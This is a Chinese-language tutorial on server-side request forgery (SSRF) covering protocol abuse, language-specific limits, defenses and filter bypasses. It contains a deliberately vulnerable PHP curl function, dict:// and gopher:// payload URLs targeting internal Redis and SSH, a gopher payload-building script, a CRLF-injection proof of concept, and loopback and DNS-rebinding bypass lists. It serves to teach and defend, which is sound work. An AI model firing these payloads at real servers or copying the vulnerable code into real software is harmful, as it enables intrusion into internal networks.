文章目录
SSRF概述
SSRF是Server-side Request Forge的缩写,即服务端请求伪造。这个漏洞最大的特点是改变了大多数漏洞恶意请求从客户端发出的情况。通过利用具有SSRF漏洞的服务端向其他服务器获取数据这一功能,将恶意数据以SSRF服务器作为代理发出,进而攻击本地或者远程的目标。
SSRF的形成大多是因为服务端没有对目标地址做过滤和限制。
SSRF危害
- 信息收集
对外网,以及服务器所在内网进行端口扫描,获得banner等信息
对内网的Web资产进行指纹识别,获得企业内部的资产信息 - 攻击服务
攻击运行在内网和服务器上的redis,memcache等服务
对内网的web服务进行攻击,如SQL注入,文件上传,储存型XSS等通过http请求就可构造的攻击 - 获取文件
通过file协议对服务器本地文件进行读取 - 命令执行
如果业务本身就存在与远程节点的连接管理功能(如对服务器的连接管理),可能存在拼接指令造成rce
SSRF利用方式
SSRF相关协议利用
协议名 | 利用方式 |
---|---|
file | 如果SSRF有回显,可利用file协议去读取任意文件的内容 |
http/https | 探测内网ip存活,Web资产的信息 |
gopher | gopher支持发出GET、POST请求。可以先截获get请求包和post请求包,再构造成符合gopher协议的请求。gopher协议是ssrf利用中一个最强大的协议(俗称万能协议)。可用于反弹shell |
dict | 泄露安装软件版本信息,查看端口,操作内网redis服务等 |
接下来以一段有缺陷的PHP代码为例探究各个协议的利用以及危害。
function curl($url){
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $url);
curl_setopt($ch, CURLOPT_HEADER, 0);
curl_exec($ch);
curl_close($ch);
}
$url = $_GET['url'];
curl($url);
file(读取内网文件)
读取内网服务器的文件
http/https(扫描内网存活主机)
一般是先想办法得到目标主机的网络配置信息,如读取/etc/hosts、/proc/net/arp、/proc/net/fib_trie等文件,从而获得目标主机的内网网段并进行爆破。
内网IP网段:
- C类:192.168.0.0 - 192.168.255.255
- B类:172.16.0.0 - 172.31.255.255
- A类:10.0.0.0 - 10.255.255.255
dict(扫描内网端口,攻击服务)
可以通过dict协议根据响应时间和内容去扫描内网开放端口以及端口上运行的服务信息
ssrf.php?url=dict://192.168.52.131:6379 // redis
ssrf.php?url=dict://192.168.52.131:80 // http
ssrf.php?url=dict://192.168.52.130:22 // ssh
gopher(对多种服务进行攻击)
Gopher是Internet上一个非常有名的信息查找系统,它将Internet上的文件组织成某种索引,很方便地将用户从Internet的一处带到另一处。在WWW出现之前,Gopher是Internet上最主要的信息检索工具,Gopher站点也是最主要的站点,使用TCP 70端口。但在WWW出现后,Gopher失去了昔日的辉煌。
gopher协议格式:URL: gopher://<host>:<port>/<gopher-path>_后接TCP数据流
使用gopher发送http请求的方法:
- 发送并抓取http请求包
- 将%0a改为%0d%0a
- 改为符合gopher协议的形式
测试页面:
<?php echo 'Hello World'?>
拦截请求:(保留必要字段,GET请求只需要保存Host即可)
GET /echo.php HTTP/1.1
Host: 192.168.1.187
请求转换脚本
import urllib.parse
raw_request = """
GET /echo.php HTTP/1.1
Host: 192.168.1.187
"""
tmp = urllib.parse.quote(raw_request)
res = tmp.replace('%0A','%0D%0A')
result = 'gopher://192.168.1.187:80/' + '_' + res
print(result)
转换后的gopher协议字段
gopher://192.168.1.187:80/_%0D%0AGET%20/echo.php%20HTTP/1.1%0D%0AHost%3A%20192.168.1.187%0D%0A
通过子网另一台电脑访问此路径
kit@ubuntu:~/Desktop$ curl gopher://192.168.1.187:80/_%0D%0AGET%20/echo.php%20HTTP/1.1%0D%0AHost%3A%20192.168.1.187%0D%0A
HTTP/1.1 200 OK
Date: Fri, 26 Mar 2021 06:57:35 GMT
Server: Apache/2.4.39 (Win64) OpenSSL/1.1.1b mod_fcgid/2.3.9a mod_log_rotate/1.02
X-Powered-By: PHP/7.3.4
Transfer-Encoding: chunked
Content-Type: text/html; charset=UTF-8
b
Hello World
0
可以看出请求成功,正常访问到了内网的服务
因为攻击redis等服务需要换行执行指令,而gopher协议就可以构造换行的payload进行攻击。这部分内容在下文中详细描述。
SSRF中各类编程语言的限制
php
php中常出现SSRF的函数又curl和get_file_content。
curl支持http、https、ftp、gopher、telnet、dict、file 和 ldap 等协议,其中我们可以利用gopher和dict来攻击内网服务。
假设服务器端开启了redis服务。则可以利用dict构造攻击。
首先把带有缺陷的ssrf.php部署在内网的web服务器中,ip为192.168.83.131。并开启redis服务,本地连接redis设置为公钥连接不需要输入密码。
访问http://192.168.83.131/ssrf.php?url=dict://127.0.0.1:6379/set%20x%20payload
查看redis,发现成功创建key
注意事项:
curl_exec()默认不跟踪跳转
curl/libcurl 7.43上gopher协议存在bug(截断),7.45以上无此bug
file_get_contents的gopher协议不能 UrlEncode
file_get_contents关于Gopher的302跳转有bug,导致利用失败
file_get_contents() 支持php://input协议
python
python中常见的函数有urllib和request。但urllib不支持gopher和dict协议,所以从协议限制来看ssrf在服务端语言为python时利用的范围不大。但配合CRLF漏洞就可以通过换行来进行对redis等服务的攻击。
urllib曾爆出CVE-2019-9740、CVE-2019-9947两个漏洞,这两个漏洞都是urllib(urllib2)的CRLF漏洞,只是触发点不一样,其影响范围都在urllib2 in Python 2.x through 2.7.16 and urllib in Python 3.x through 3.7.3之间,目前大部分服务器的python2版本都在2.7.10以下,python3都在3.6.x,这两个CRLF漏洞的影响力就非常可观了。
漏洞分析文章:CVE-2019-9740 Python urllib CRLF injection vulnerability 浅析
环境:python 3.6
import urllib.request
import urllib.error
if __name__ == '__main__':
host = "192.168.1.101:7777?a=1 HTTP/1.1\r\nCRLF-injection: test\r\nTEST: 123"
# host为可控数据
url = "http://" + host + ":8080/test/?test=a"
try:
info = urllib.request.urlopen(url).info()
print(info)
except urllib.error.URLError as e:
print(e)
-------------------------------------------------
kit@ubuntu:~$ nc -lvvp 7777
Listening on [0.0.0.0] (family 0, port 7777)
Connection from 192.168.1.105 1030 received!
GET /?a=1 HTTP/1.1
CRLF-injection: test
TEST: 123:8080/test/?test=a HTTP/1.1
Accept-Encoding: identity
Host: 192.168.1.101:7777
User-Agent: Python-urllib/3.6
Connection: close
请求包内容
当CRLF遇到SSRF就可以攻击redis之类的服务。
java
java中常见请求类URLConnection
,HttpClient
只支持下图所示协议,所以在内网探测和读取敏感信息两个攻击点可以利用http和file协议。但无法攻击redis等内网服务。
但在曾经爆出的weblogic漏洞则可以用来攻击内网服务,原因是weblogic自己实现了一套socket,没有使用常见请求类,而发起请求的函数又没有对域名进行限制,与上文所说的python类似,同样存在CRLF漏洞,两个漏洞结合起来可达到攻击内网服务的作用。
漏洞复现详情https://blog.csdn.net/qq_43936524/article/details/117599954
SSRF修复方案
针对上文所说这几种协议的利用不难总结出SSRF的防御机制。
- 端口过滤
既然通过SSRF常被用来爆破内网中开放的端口和服务,那么就可以在后端限制访问的端口仅为Web端口 - IP过滤
通过端口限制杜绝了攻击者攻击其他服务的请求,而通过对IP的限制可以杜绝访问所有内网的IP - 协议过滤
限制访问的协议仅为http/https - 去除回显
过滤请求的回显信息
SSRF绕过方式
http基本认证
利用形如www.baidu.com@www.bing.com
会跳转到bing的特性绕过针对链接必须包含特定网址的防御机制。
30x跳转
-
短网址
有些网址提供短地址生成服务,访问短地址时会跳转到原有地址。
-
特殊的服务
互联网上有一些服务如http://xip.io,http://nip.io,http://sslip.io 。每次访问该域名总会自动跳转至子域名的地址,如http://127.0.0.1.xip.io/会自动跳转到127.0.0.1。
url解析问题
127.0.0.1的多种形式
# liunx
http://0/
http://[0:0:0:0:0:ffff:127.0.0.1]/
http://[::]:80/
http://0.0.0.0/
# windows
http://localhost/
http://127。0。0。1/
http://①②⑦.⓪.⓪.①
http://127.1/
http://127.00000.00000.001/ # 与0的数量无关
dns rebinding
dns请求服务器会以TTL为时间周期缓存域名以及对应的IP绑定关系,在TTL时间周期内不会再向上级dns服务器查询,直接返回缓存中的结果。在缓存时间结束后会删除绑定记录。
所以依靠缓存时间的特性,从服务端的角度来看会对用户输入的url进行检查和访问两个流程。当检查域名时会进行一次DNS解析,而第二次请求时如果缓存的周期已经结束则会再次进行DNS解析。
所以我们可以操纵两次解析的结果使第一次解析的结果为合法IP而请求域名时再次解析为恶意的地址。
实现方式一种是自己搭建dns服务器,也可以从https://lock.cmpxchg8b.com/rebinder.html获得一个测试的域名。测试的域名解析的ip会在两个之间指定ip之间产生。所以需要不断尝试以达到第一次解析为符合条件ip地址,而第二次为内网ip。
When TLS Hacks You
2020年black hat(us)中有一个议题利用TLS + IP rebinding + SSRF来攻击常见服务。首先考虑正常情况下,由于http协议的局限性,只有与CRLF漏洞配合才能在http报文中注入payload进行攻击。而这种新型的攻击方式不再依赖请求中注入payload,而采用https中的会话恢复机制sessionID来储存payload,从而进行攻击。
客户端和服务器TLS握手时,需要协商会话密钥,数字签名验证,消息验证码MAC等。每次重新握手都会消耗大量的时间。
于是TLS/SSL提供了会话恢复的方式,允许连接结束时,客户端可以通过上次连接储存的Session ID或Session ticket来直接恢复对话(服务器储存会话信息并以SessionID标识)。
而session ticket可提供65k的空间,足以容纳payload。
整体流程
- 客户端访问攻击者的域名
- dns服务器返回一个TTL=0的解析记录,ip地址为攻击者服务器
- 攻击者服务器返回一个恶意构造的sessionID储存在客户端,并返回一个跳转请求
- 客户端接收到跳转请求,此时dns记录已经过期,再次发起dns解析
- 第二次解析结果为内网的ip地址,客户端发起请求并附加上恶意的sessionID
- sessionID目标内网主机上执行
参考文章:
SSRF安全指北
CTF SSRF从0到1